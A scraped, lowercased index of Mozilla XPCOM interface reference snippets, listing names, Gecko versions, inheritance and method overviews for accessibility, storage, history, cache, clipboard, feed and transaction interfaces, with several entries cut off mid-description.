1.0 66 introduced gecko 1.9 inherits
from: iunknown last changed in gecko 1.9 (firefox 3) this interface provides the standard mechanism for an assistive technology to retrieve information concerning the graphical representation of an object.
IAccessibleImage
1.0 66 introduced gecko 1.9 inherits
from: iunknown last changed in gecko 1.9 (firefox 3) this interface is used for a representation of images like icons on buttons.
IAccessibleValue
1.0 66 introduced gecko 1.9 inherits
from: iunknown last changed in gecko 1.9 (firefox 3) the iaccessiblevalue interface represents a single numerical value and should be implemented by any class that supports numerical value like progress bars and spin boxes.
IDispatch
inherits
from: nsisupports last changed in gecko 1.7 ...
IJSDebugger
1.0 66 introduced gecko 9.0 inherits
from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/jsdebugger;1 as a service: var jsdebugger = components.classes["@mozilla.org/jsdebugger;1"] .createinstance(components.interfaces.ijsdebugger); note: you should almost never directly use this service; instead, you should use the javascript code module that does this for you.
amIInstallCallback
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void oninstallended(in astring aurl, in print32 astatus); methods oninstallended() called when an install completes or fails.
amIInstallTrigger
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean enabled(); boolean install(in nsivariant aargs, [optional] in amiinstallcallback acallback); boolean installchrome(in pruint32 atype, in astring aurl, in astring askin); deprecated since gecko 2.0 boolean startsoftwareupdate(in astring aurl, [optional] in print32 aflags); deprecated since gecko 2.0 boolean updateenabled(); deprecated since gecko 2.0 constants retained for backwards compatibility.
amIWebInstallInfo
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void install(); attributes attribute type description installs nsivariant an array of addoninstall objects.
amIWebInstallListener
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview boolean onwebinstallblocked(in nsidomwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, [optional] in pruint32 acount); void onwebinstalldisabled(in nsidomwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, [option...
amIWebInstallPrompt
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void confirm(in nsidomwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, [optional] in pruint32 acount); prior to gecko 8.0, all references to nsidomwindow used in this interface were nsidomwindow.
mozIAsyncHistory
1.0 66 introduced gecko 24.0 inherits
from: nsisupports last changed in gecko 24.0 (firefox 24.0 / thunderbird 24.0 / seamonkey 2.21) implemented by: @mozilla.org/browser/history;1 as a service: var asynchistory = components.classes["@mozilla.org/browser/history;1"] .getservice(components.interfaces.moziasynchistory); method overview void getplacesinfo(in jsval aplaceidentifiers, in mozivisitinfocallback acallback); void isurivisited(in nsiuri auri, in mozivisitedstatuscallback acallback); void updateplaces(in moziplaceinfo, [optional] in mozivisitinfocallback acallback); ...
mozIColorAnalyzer
toolkit/components/places/mozicoloranalyzer.idlscriptable provides methods to analyze colors in an image 1.0 66 introduced gecko 17.0 inherits
from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) method overview void findrepresentativecolor(in nsiuri imageuri, in mozirepresentativecolorcallback callback); methods findrepresentativecolor() given an image uri, find the most representative color for that image based on the
frequency of each color.
mozIPlaceInfo
toolkit/components/places/public/moziasynchistory.idlscriptable this interface provides additional info for a places entry 1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description
frecency long read only: the
frecency of the place.
mozIRepresentativeColorCallback
toolkit/components/places/mozicoloranalyzer.idlscriptable provides callback methods for mozicoloranalyzer 1.0 66 introduced gecko 17.0 inherits
from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) method overview void oncomplete(in boolean success, [optional] in unsigned long color); methods oncomplete() will be called when color analysis finishes.
mozIStorageBindingParams
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits
from: nsisupports you can only create mozistoragebindingparams objects by calling the mozistoragebindingparamsarray.newbindingparams().
mozIStorageBindingParamsArray
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits
from: nsisupports you can only create these objects by calling the mozistoragestatement.newbindingparamsarray().
mozIStorageError
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits
from: nsisupports attributes attribute type description message autf8string a human readable error string with details; this may be null if no details are available.
mozIStoragePendingStatement
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits
from: nsisupports method overview void cancel(); methods cancel() cancels the pending statement.
mozIStorageProgressHandler
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits
from: nsisupports method overview boolean onprogress(in mozistorageconnection aconnection); methods onprogress() the onprogress() method is called periodically while an sqlite operation is ongoing.
mozIStorageVacuumParticipant
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to create an instance of this interface, use the category manger, with the category "vacuum-participant".
mozITXTToHTMLConv
last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) inherits
from nsistreamconverter implemented by @mozilla.org/txttohtmlconv;1 as a service: var ios = components.classes["@mozilla.org/txttohtmlconv;1"] .getservice(components.interfaces.mozitxttohtmlconv); method overview unsigned long citeleveltxt(in wstring line, out unsigned long loglinestart) void findurlinplaintext(in wstring text, in long alength, in long apos, out long astartpos, out long aendpos) ...
mozIVisitInfo
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description referreruri nsiuri read only: the referring uri of this visit.
mozIVisitInfoCallback
toolkit/components/places/public/moziasynchistory.idlscriptable this interface provides callback handling functionality for moziasynchistory.updateplaces() 1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) method overview void handleerror(in nsresult aresultcode, in moziplaceinfo aplaceinfo); void handleresult(in moziplaceinfo aplaceinfo); void oncomplete(in nsresult aresultcode, in moziplaceinfo aplaceinfo);obsolete since gecko 8.0 methods handleerror() called when a moziplaceinfo couldn't be processed.
mozIVisitStatusCallback
toolkit/components/places/moziasynchistory.idlscriptable this interface provides callback handling functionality for moziasynchistory.isurivisited 1.0 66 introduced gecko 11.0 inherits
from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) method overview void isvisited(in nsiuri auri, in boolean avisitedstatus); methods isvisited() called when the moziasynchistory.isurivisited() method's check to determine whether a given uri has been visited has completed.
nsIAbstractWorker
1.0 66 introduced gecko 1.9.1 inherits
from: nsidomeventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) attributes attribute type description onerror nsidomeventlistener the error listener for the worker.
nsIAccelerometerUpdate
xpcom/system/nsiaccelerometer.idlnot scriptable replaced by nsidevicemotionupdate 1.0 66 introduced gecko 2.0 obsolete gecko 6.0 inherits
from: nsiaccelerometer last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) this method is only used in content tabs to receive nsiacceleration data
from the chrome process.
nsICacheListener
inherits
from: nsisupports last changed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11) method overview void oncacheentryavailable(in nsicacheentrydescriptor descriptor, in nscacheaccessmode accessgranted, in nsresult status); void oncacheentrydoomed(in nsresult status); methods oncacheentryavailable() this method is called when the requested access (or appropriate subset) is acquired.
nsICacheMetaDataVisitor
inherits
from: nsisupports last changed in gecko 1.7 method overview boolean visitmetadataelement(in string key, in string value); methods visitmetadataelement() this method is called for each key/value pair in the meta data for a cache entry.
nsICacheSession
inherits
from: nsisupports last changed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11) method overview void asyncopencacheentry(in acstring key, in nscacheaccessmode accessrequested, in nsicachelistener listener, [optional] in boolean nowait); void evictentries(); prbool isstorageenabled(); nsicacheentrydescriptor opencacheentry(in acstring key, in nscacheaccessmode accessrequested, in boolean blockingmode); void doomentry(in acstring key, in nsicachelistener listener); attributes attribute type description doom...
nsICacheVisitor
inherits
from: nsisupports last changed in gecko 1.7 method overview boolean visitdevice(in string deviceid, in nsicachedeviceinfo deviceinfo); boolean visitentry(in string deviceid, in nsicacheentryinfo entryinfo); methods visitdevice() this method is called to provide information about a cache device.
nsICancelable
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void cancel(in nsresult areason); methods cancel() call this method to request that this object abort whatever operation it may be performing.
nsIClipboardCommands
inherits
from: nsisupports last changed in gecko 1.7 method overview boolean cancopyimagecontents(); boolean cancopyimagelocation(); boolean cancopylinklocation(); boolean cancopyselection(); boolean cancutselection(); boolean canpaste(); void copyimagecontents(); void copyimagelocation(); void copylinklocation(); void copyselection(); void cutselection(); void paste(); void selectall(); void selectnone(); methods cancopyimagecontents() returns whether we can cop...
nsIClipboardHelper
inherits
from: nsisupports last changed in gecko 1.7 method overview void copystring(in astring astring); void copystringtoclipboard(in astring astring, in long aclipboardid); methods copystring() this method copies string to (default) clipboard.
nsIClipboardOwner
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits
from: nsisupports method overview void losingownership(in nsitransferable atransferable); methods losingownership() this method notifies the owner of the clipboard transferable that the transferable is being removed
from the clipboard.
nsICommandController
inherits
from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/embedcomp/base-command-controller;1.
nsICommandLineRunner
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits
from: nsicommandline method overview void init(in long argc, in nscharptrarray argv, in nsifile workingdir, in unsigned long state); void run(); void setwindowcontext(in nsidomwindow awindow); attributes attribute type description helptext autf8string process and combine the help text provided by each command-line handler.
nsICompositionStringSynthesizer
dom/interfaces/base/nsicompositionstringsynthesizer.idlscriptable this interface is a composition string synthesizer interface that synthesizes composition string with arbitrary clauses and a caret 1.0 66 introduced gecko 26 obsolete gecko 38 inherits
from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) this interface is obsoleted in gecko 38.
nsIConsoleListener
inherits
from: nsisupports last changed in gecko 1.7 method overview void observe(in nsiconsolemessage amessage); methods observe() called by the nsiconsoleservice when a message is posted to the console.
nsIContainerBoxObject
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) the boxobject belonging to a xul browser, editor or i
frame element implements this interface.
nsIContentPref
nsicontentpref dom/interfaces/base/nsicontentprefservice2.idlscriptable a content preference 1.0 66 introduced gecko 20.0 inherits
from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) attributes attribute type description domain astring read only.
nsIContentPrefCallback2
dom/interfaces/base/nsicontentprefservice2.idlscriptable callback used by nsicontentprefservice2 methods 1.0 66 introduced gecko 20.0 inherits
from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) method overview void handlecompletion(in unsigned short reason); void handleerror(in nsresult error); void handleresult(in nsicontentpref pref); constants constant value description complete_ok 0 complete_error 1 methods handlecompletion() called when the method finishes.
nsIDOMSerializer
inherits
from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/xmlextras/xmlserializer;1.
nsIDOMSimpleGestureEvent
1.0 66 introduced gecko 1.9.1 inherits
from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomsimplegestureevent interface is the datatype for all mozilla-specific simple gesture events in the document object model.
nsIDOMStorageEventObsolete
1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits
from: nsidomevent last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) when a dom storage event is received, the recipient can check its domain attribute to determine which domain's data store has changed.
nsIDOMStorageList
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomstorage nameditem(in domstring domain); methods nameditem() called when the list of available access points changes.
nsIDOMXPathEvaluator
inherits
from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/dom/xpath-evaluator;1.
nsIDOMXPathExpression
dom/interfaces/xpath/nsidomxpathexpression.idlscriptable represents a compiled xpath query returned
from nsidomxpathevaluator.createexpression or document.createexpression inherits
from: nsisupports last changed in gecko 1.7 method overview nsisupports evaluate(in nsidomnode contextnode, in unsigned short type, in nsisupports result) methods evaluate() evaluate the xpath expression.
nsIDOMXULControlElement
66 introduced gecko 1.0 inherits
from: nsidomxulelement last changed in gecko 1.0 attributes attribute type description disabled boolean indicates whether the element is disabled or not.
nsIDOMXULSelectControlElement
inherits
from: nsidomxulcontrolelement last changed in gecko 1.9 (firefox 3) method overview nsidomxulselectcontrolitemelement appenditem(in domstring label, in domstring value); long getindexofitem(in nsidomxulselectcontrolitemelement item); nsidomxulselectcontrolitemelement getitematindex(in long index); nsidomxulselectcontrolitemelement insertitemat(in long index, in domstring label, in domstring value); nsidomxulselectcontrolitemelement removeitemat(in long index); attributes attribute type description itemcount unsigned long read only.
nsIDOMXULSelectControlItemElement
inherits
from: nsidomxulelement last changed in gecko 1.7 attributes attribute type description accesskey domstring command domstring control nsidomxulselectcontrolelement read only.
nsIDataSignatureVerifier
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) method overview boolean verifydata(in acstring adata, in acstring asignature, in acstring apublickey); methods verifydata() verifies that the data matches the data that was used to generate the signature.
nsIDebug
inherits
from: nsisupports last changed in gecko 1.7 note: c/c++ consumers who are planning to use the nsidebug interface with the @mozilla.org/xpcom;1 contract should use ns_debugbreak()
from xpcom glue instead, or alternatively the ns_abort, ns_assertion, ns_break, and ns_warning macros, which also call ns_debugbreak() if used in a debugging build.
nsIDebug2
xpcom/base/nsidebug2.idlscriptable adds access to additional information in debug builds of mozilla code by expanding upon the features in nsidebug 1.0 66 introduced gecko 1.9.2 inherits
from: nsidebug last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) attributes attribute type description assertioncount long the number of assertions since process start.
nsIDeviceMotion
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note: this interface was named nsidevicemotion prior to gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3).
nsIDeviceMotionListener
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void onmotionchange(in nsidevicemotiondata amotiondata); methods onmotionchange() called when new orientation or acceleration data is available.
nsIDialogCreator
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void opendialog(in unsigned long atype, in acstring aname, in acstring afeatures, in nsidialogparamblock aarguments, [optional] in nsidomelement a
frameelement); constants constant value description unknown_dialog 0 generic_dialog 1 select_dialog 2 methods opendialog() void opendialog( in unsigned long atype, in acstring aname, in acstring afeatures, in nsidialogparamblock aarguments, in nsidomelement a
frameelement optional ); parameters atype aname afeatures aarguments a
frameelement optional ...
nsIEditorLogging
inherits
from: nsisupports last changed in gecko 1.7 method overview void startlogging(in nsifile alogfile); void stoplogging(); methods startlogging() start logging.
nsIEditorMailSupport
inherits
from: nsisupports last changed in gecko 1.7 method overview nsisupportsarray getembeddedobjects(); nsidomnode insertascitedquotation(in astring aquotedtext, in astring acitation, in boolean ainserthtml); nsidomnode insertasquotation(in astring aquotedtext); void inserttextwithquotations(in domstring astringtoinsert); void pasteascitedquotation(in astring acitation, in long aselectiontype); void pasteasquotation(in long aselectiontype); void rewrap(in boolean arespectnewlines); void stripcites(); methods getembeddedobjects() get a list of img and object tags in the current document.
nsIEditorObserver
66 introduced gecko 1.0 obsolete gecko 18 inherits
from: nsisupports last changed in gecko 1.7 method overview void editaction(); methods editaction() called after the editor completes a user action.
nsIEnumerator
} iter.next(); } while( components.lastresult == 0 ); } catch(e) {} search for e-mail
from "warren harris" dated 04/21/1999 time 16:11:03 for some notes on the subject.
nsIEventListenerInfo
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview nsisupports getdebugobject(); astring tosource(); attributes attribute type description allowsuntrusted boolean indicates whether or not the event listener allows untrusted events.
nsIEventSource
content/base/public/nsieventsource.idlscriptable this is the interface for server-sent dom events 1.0 66 introduced gecko 6.0 inherits
from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this implements the eventsource interface used for server-sent events.
nsIFTPChannel
last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports attributes attribute type description lastmodifiedtime prtime the time at which the ftp channel was last updated.
nsIFTPEventSink
last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports method overview void onftpcontrollog(in boolean server, in string msg) methods onftpcontrollog allows a consumer to receive a log of the ftp control connection conversation.
nsIFaviconDataCallback
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void oncomplete(in nsiuri auri, in unsigned long adatalen, [const,array,size_is(adatalen)] in octet adata, in autf8string amimetype); methods oncomplete() called when the required favicon's information is available.
nsIFeedContainer
toolkit/components/feeds/public/nsifeedcontainer.idlscriptable this interface provides standard fields used by both feeds (nsifeed) and feed entries (nsifeedentry) 1.0 66 introduced gecko 1.8 inherits
from: nsifeedelementbase last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) method overview void normalize(); attributes attribute type description authors nsiarray an array of nsifeedperson objects describing the authors of the feed or entry.
nsIFeedGenerator
1.0 66 introduced gecko 1.8 inherits
from: nsifeedelementbase last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description agent astring the name of the software that created the feed.
nsIFeedPerson
1.0 66 introduced gecko 1.8 inherits
from: nsifeedelementbase last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description email astring the person's email address.
nsIFeedProgressListener
1.0 66 introduced gecko 1.8 inherits
from: nsifeedresultlistener last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleentry(in nsifeedentry entry, in nsifeedresult result); void handlefeedatfirstentry(in nsifeedresult result); void handlestartfeed(in nsifeedresult result); void reporterror(in astring errortext, in long linenumber, in boolean bozo); metho...
nsIFileOutputStream
inherits
from: nsioutputstream last changed in gecko 1.7 method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants behavior flag constants constant value description defer_open 1<<0 see the same constant in nsifileinputstream.
nsIFileURL
inherits
from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) attributes attribute type description file nsifile get/set nsifile corresponding to this url.
nsIFileView
inherits
from: nsisupports last changed in gecko 1.7 note: nsifileview is linux-only interface.
nsIGSettingsCollection
1.0 66 introduced gecko 6.0 inherits
from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview boolean getboolean(in autf8string key); long getint(in autf8string key); autf8string getstring(in autf8string key); void setboolean(in autf8string key, in boolean value); void setint(in autf8string key, in long value); void setstring(in autf8string key, in autf8string value); methods getboolean() boolean getboolean( in autf8string key ); parameters key return value getint() long getint( in autf8string key ); parameters key return value getstring() autf8string getstring( in autf8string key ); paramete...
nsIGSettingsService
1.0 66 introduced gecko 6.0 inherits
from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/gsettings-service;1 as a service: var gsettingsservice = components.classes["@mozilla.org/gsettings-service;1"] .createinstance(components.interfaces.nsigsettingsservice); method overview nsigsettingscollection getcollectionforschema(in autf8string schema); methods getcollectionforschema() nsigsettingscollection getcollectionforschema( in autf8string schema ); parameters schema return value ...
nsIGeolocationProvider
1.0 66 introduced gecko 1.9.1 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) this must be called on the main thread interface provides location information to the nsgeolocator via the nsidomgeolocationcallback interface.
nsIGeolocationUpdate
1.0 66 introduced gecko 1.9.1 inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) interface provides a way for a geolocation provider to notify the system that a new location is available.
nsIGlobalHistory
66 introduced gecko 1.0 deprecated gecko 2.0 obsolete gecko 15.0 inherits
from: nsisupports last changed in gecko 1.7 method overview void addpage(in string aurl); boolean isvisited(in string aurl); methods addpage() add a page to the history.
nsIHTTPHeaderListener
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) note: the plugin author must provide an instance to {geturl,posturl}() that implements both nsipluginstreamlistener and nsihttpheaderlistener.
nsIHapticFeedback
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/widget/hapticfeedback;1 as a service: var hapticfeedback = components.classes["@mozilla.org/widget/hapticfeedback;1"] .getservice(components.interfaces.nsihapticfeedback); once you have the service, you can initiate haptic feedback (that is, cause the device to vibrate, if it's supported) by calling performsimpleaction(): hapticfeedback.performsimpleaction(components.interfaces.nsihapticfeedback.longpress); method overview void performsimpleaction(i...
nsIHttpActivityDistributor
1.0 66 introduced gecko 1.9.2 inherits
from: nsihttpactivityobserver last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: mozilla.org/network/http-activity-distributor;1 as a service: var httpactivitydistributor = components.classes["@mozilla.org/network/http-activity-distributor;1"] .getservice(components.interfaces.nsihttpactivitydistributor); method overview void addobserver(in nsihttpactivityobserver aobserver); void removeobserver(in nsihttpactivit...
nsIHttpActivityObserver
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void observeactivity(in nsisupports ahttpchannel, in pruint32 aactivitytype, in pruint32 aactivitysubtype, in prtime atimestamp, in pruint64 aextrasizedata, in acstring aextrastringdata); attributes attribute type description isactive boolean true when the interface is active and should observe http activity, otherwise false.
nsIHttpChannelInternal
66 introduced gecko 1.0 inherits
from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void getrequestversion(out unsigned long major, out unsigned long minor); void getresponseversion(out unsigned long major, out unsigned long minor); void httpupgrade(in acstring aprotocolname, in nsihttpupgradelistener alistener); void setcookie(in string acookieheader); void setupfallbackchannel(in string afallbackkey); attributes attribute type description canceled boolean returns true if and only if...
nsIHttpHeaderVisitor
inherits
from: nsisupports last changed in gecko 1.7 method overview void visitheader(in acstring aheader, in acstring avalue); methods visitheader() called by the nsihttpchannel implementation when visiting request and response headers.
nsIINIParserFactory
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) see example for how to use this interface.
nsIInputStreamCallback
inherits
from: nsisupports last changed in gecko 1.7 method overview void oninputstreamready(in nsiasyncinputstream astream); methods oninputstreamready() called to indicate that the stream is either readable or closed.
nsIJSCID
inherits
from: nsijsid last changed in gecko 1.7 method overview nsisupports createinstance(); nsisupports getservice(); methods createinstance() nsisupports createinstance(); parameters none.
nsISound
inherits
from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) warning: this interface should not be used to play custom sounds in modern code.
nsISpeculativeConnect
1.0 66 introduced gecko 15.0 inherits
from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) to use this service, simply call nsisupports.queryinterface() on the nsiioservice you plan to use for the connection, to get access to the i/o service's implementation of nsispeculativeconnect.
nsIStringEnumerator
inherits
from: nsisupports last changed in gecko 1.7 method overview astring getnext(); boolean hasmore(); methods getnext() called to retrieve the next string in the enumerator.
nsISupports
remarks the method descriptions above were taken
from essential com by don box.
nsISupportsVoid
inherits
from: nsisupportsprimitive last changed in gecko 1.0 method overview string tostring(); attributes attribute type description data voidptr this attribute provides access to the native type represented by the object.
nsISyncJPAKE
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void final(in acstring ab, in acstring agvb, in acstring arb, in acstring ahkdfinfo, out acstring aaes256key, out acstring ahmac256key); void round1(in acstring asignerid, out acstring agx1, out acstring agv1, out acstring ar1, out acstring agx2, out acstring agv2, out acstring ar2); void round2(in acstring apeerid, in acstring apin, in acstring agx3, in acstring agv3, in acstring ar3, in acstring agx4, in acstring agv4, in acstring ar4, out acstring aa, out acstring agva, out acstring ara); methods final() perform the...
nsITaskbarPreview
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can not directly instantiate this interface.
nsITaskbarPreviewButton
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate this interface.
nsITaskbarProgress
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void setprogressstate(in nstaskbarprogressstate state, in unsigned long long currentvalue optional, in unsigned long long maxvalue optional); constants constant value description state_no_progress 0 stop displaying progress on the taskbar button.
nsITextInputProcessorCallback
dom/interfaces/base/nsitextinputprocessor.idlscriptable a callback interface for nsitextinputprocessor user 1.0 66 introduced gecko 38 inherits
from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) nsitextinputprocessorcallback is defined for receiving requests and notifications to ime
from gecko.
nsIThreadEventFilter
last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports method overview boolean acceptevent(in nsirunnable event);violates the xpcom interface guidelines methods violates the xpcom interface guidelines acceptevent() this method is called to determine whether or not an event may be accepted by a nested event queue.
nsIThreadPoolListener
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits
from: nsisupports method overview void onthreadcreated(); void onthreadshuttingdown(); methods onthreadcreated() called when a new thread is created by the thread pool.
nsITimer
last changed in gecko 5 (firefox 5 / thunderbird 5 / seamonkey 2.2) inherits
from: nsisupports implemented by: @mozilla.org/timer;1.
nsITimerCallback
inherits
from: nsisupports last changed in gecko 1.7 method overview void notify(in nsitimer timer); methods notify() initialize a timer to fire after the given millisecond interval.
nsIToolkit
inherits
from: nsisupports last changed in gecko 1.0 method overview void init(in prthread athread); methods init() initialize this toolkit with athread.
nsITransaction
inherits
from: nsisupports last changed in gecko 1.7 method overview void dotransaction(); boolean merge(in nsitransaction atransaction); void redotransaction(); void undotransaction(); attributes attribute type description istransient boolean the transaction's transient state.
nsITransactionList
inherits
from: nsisupports last changed in gecko 1.7 method overview nsitransactionlist getchildlistforitem(in long aindex); nsitransaction getitem(in long aindex); long getnumchildrenforitem(in long aindex); boolean itemisbatch(in long aindex); attributes attribute type description numitems long the number of transactions contained in this list.
nsITransactionListener
inherits
from: nsisupports last changed in gecko 1.7 method overview void didbeginbatch(in nsitransactionmanager amanager, in nsresult aresult); void diddo(in nsitransactionmanager amanager, in nsitransaction atransaction, in nsresult adoresult); void didendbatch(in nsitransactionmanager amanager, in nsresult aresult); void didmerge(in nsitransactionmanager amanager, in nsitransaction atoptransaction, in nsitransaction atransactiontomerge, in boolean adidmerge, in nsresult amergeresult); void didredo(in nsitransactionmanager amanager, in nsitransaction atransaction, in nsresult aredoresult); void didundo(in nsitransactionmanager amanager, in ...
nsITransportEventSink
inherits
from: nsisupports last changed in gecko 1.7 method overview void ontransportstatus(in nsitransport atransport, in nsresult astatus, in unsigned long long aprogress, in unsigned long long aprogressmax); methods ontransportstatus() transport status notification.
nsITransportSecurityInfo
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) attributes attribute type description errormessage wstring error message on connection failure.
nsITreeBoxObject
last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports to get the treeboxobject for a tree: let boxobject = tree.boxobject; boxobject.queryinterface("components.interfaces.nsitreeboxobject"); or simply: let boxobject = tree.treeboxobject; method overview long getfirstvisiblerow(); long getlastvisiblerow(); long getpagelength(); void ensurerowisvisible(in long index); void ensurecellisvisible(in long row, in nsitreecolumn col); void scrolltorow(in long index); ...
nsITreeColumn
last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports method overview void getidconst([shared] out wstring idconst); native code only!
nsITreeColumns
last changed in gecko 1.9 (firefox 3) inherits
